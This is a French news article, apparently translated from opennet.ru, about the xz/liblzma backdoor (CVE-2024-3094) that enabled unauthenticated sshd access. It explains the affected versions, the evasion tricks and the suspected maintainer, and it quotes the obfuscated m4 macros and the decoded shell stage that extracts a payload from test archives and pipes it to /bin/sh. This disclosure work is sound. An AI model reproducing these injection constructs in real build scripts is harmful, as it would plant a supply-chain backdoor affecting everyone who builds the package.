Une porte dérobée a été découverte dans la bibliothèque xz/liblzma, permettant un accès via sshd

Dans le paquet XZ Utils, qui comprend la bibliothèque liblzma et des utilitaires pour travailler avec des données compressées au format « .xz », un backdoor (CVE-2024-3094) a été découvert, permettant d'intercepter et de modifier les données traitées par des applications liées à la bibliothèque liblzma. L'objectif principal de ce backdoor est le serveur OpenSSH, qui est lié à la bibliothèque libsystemd dans certaines distributions, celle-ci utilisant également liblzma. Le lien entre sshd et la bibliothèque vulnérable permet aux attaquants d'accéder au serveur SSH sans authentification.

Le backdoor était présent dans les versions officielles 5.6.0 et 5.6.1, publiées le 24 février et le 9 mars, qui ont réussi à intégrer certains distributions et dépôts, tels que Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide et 40-beta, openSUSE factory et tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Il est conseillé à tous les utilisateurs des versions xz 5.6.0 et 5.6.1 de revenir d'urgence à la version 5.4.6.

Parmi les facteurs atténuants, on peut noter que la version de liblzma avec le backdoor n'a pas réussi à être incluse dans les versions stables des grandes distributions, mais a touché openSUSE Tumbleweed et Fedora 40-beta. Arch Linux et Gentoo utilisaient la version vulnérable de zx, mais ne sont pas vulnérables à l'attaque, car ils n'appliquent pas au openssh le patch pour le support du systemd-notify, qui lie sshd à liblzma. Le backdoor n'affecte que les systèmes x86_64 basés sur le noyau Linux et la bibliothèque C Glibc.

Le code d'activation du backdoor était caché dans les macros m4 du fichier build-to-host.m4, utilisé par l'outil automake lors de la compilation. Lors de la compilation, à travers des opérations obscurcies et compliquées basées sur des archives (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), utilisées pour tester la fonctionnalité, un fichier objet contenant du code malveillant était généré, qui était intégré dans la bibliothèque liblzma et modifiait la logique de certaines de ses fonctions. Les macros m4 d'activation du backdoor faisaient partie des archives tar des versions, mais étaient absentes du dépôt Git. En revanche, les archives de test malveillantes étaient présentes dans le dépôt, ce qui signifie que l'injecteur du backdoor avait accès à la fois au dépôt et aux processus de génération des versions.

Lors de l'utilisation de liblzma dans des applications, des modifications malveillantes pouvaient être utilisées pour intercepter ou modifier des données, ainsi que pour affecter le fonctionnement de sshd. En particulier, le code malveillant a remplacé la fonction RSA_public_decrypt pour contourner le processus d'authentification dans sshd. Le backdoor incluait des mécanismes pour éviter la détection et ne se manifestait pas lorsque les variables d'environnement LANG et TERM étaient définies (c'est-à-dire lors de l'exécution du processus dans un terminal) et les variables d'environnement LD_DEBUG et LD_PROFILE non définies, et s'activait uniquement lors de l'exécution du fichier exécutable /usr/sbin/sshd. Le backdoor disposait également de moyens pour détecter un lancement dans des environnements de débogage.

En particulier, dans le fichier m4/build-to-host.m4, des constructions telles que gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’

Dans la première construction, l'opération grep trouvait le fichier tests/files/bad-3-corrupt_lzma2.xz, dont le déballage générerait le script : ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir=»../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####

Il n'est pas encore établi comment les cybercriminels ont pu accéder à l'infrastructure du projet xz. Il n'est pas non plus clair combien d'utilisateurs et de projets ont été compromis à la suite de l'action du backdoor. L'auteur présumé du backdoor (JiaT75 — Jia Tan), qui avait placé des archives contenant du code malveillant dans le dépôt, a échangé avec des développeurs de Fedora et a soumis des pull requests à Debian concernant la transition des distributions vers la branche xz 5.6.0, sans éveiller de soupçons, car il participait au développement de xz depuis deux ans et est le deuxième contributeur en termes de modifications apportées. En plus du projet xz, l'auteur présumé du backdoor a également participé au développement des paquets xz-java et xz-embedded. De plus, Jia Tan a été récemment inclus parmi les mainteneurs du projet XZ Embedded, utilisé dans le noyau Linux.

Le changement malveillant a été détecté après une analyse de la consommation excessive de CPU et des erreurs signalées par valgrind lors de la connexion via ssh à des systèmes basés sur Debian sid. Il est à noter que la version xz 5.6.1 a inclus des modifications préparées par l'auteur présumé du backdoor en réponse aux plaintes concernant le ralentissement des performances et les échecs de sshd, survenus après la mise à jour vers la version zx 5.6.0 contenant le backdoor. De plus, l'année dernière, Jia Tan a apporté des modifications incompatibles avec le mode de vérification « -fsanitize=address », ce qui a conduit à sa désactivation lors des tests de fuzzing.

Source : opennet.ru

Acheter un hébergement fiable pour les sites avec protection DDoS, serveurs VPS VDS 🔥 Acheter un hébergement fiable pour les sites avec protection DDoS, serveurs VPS VDS | ProHoster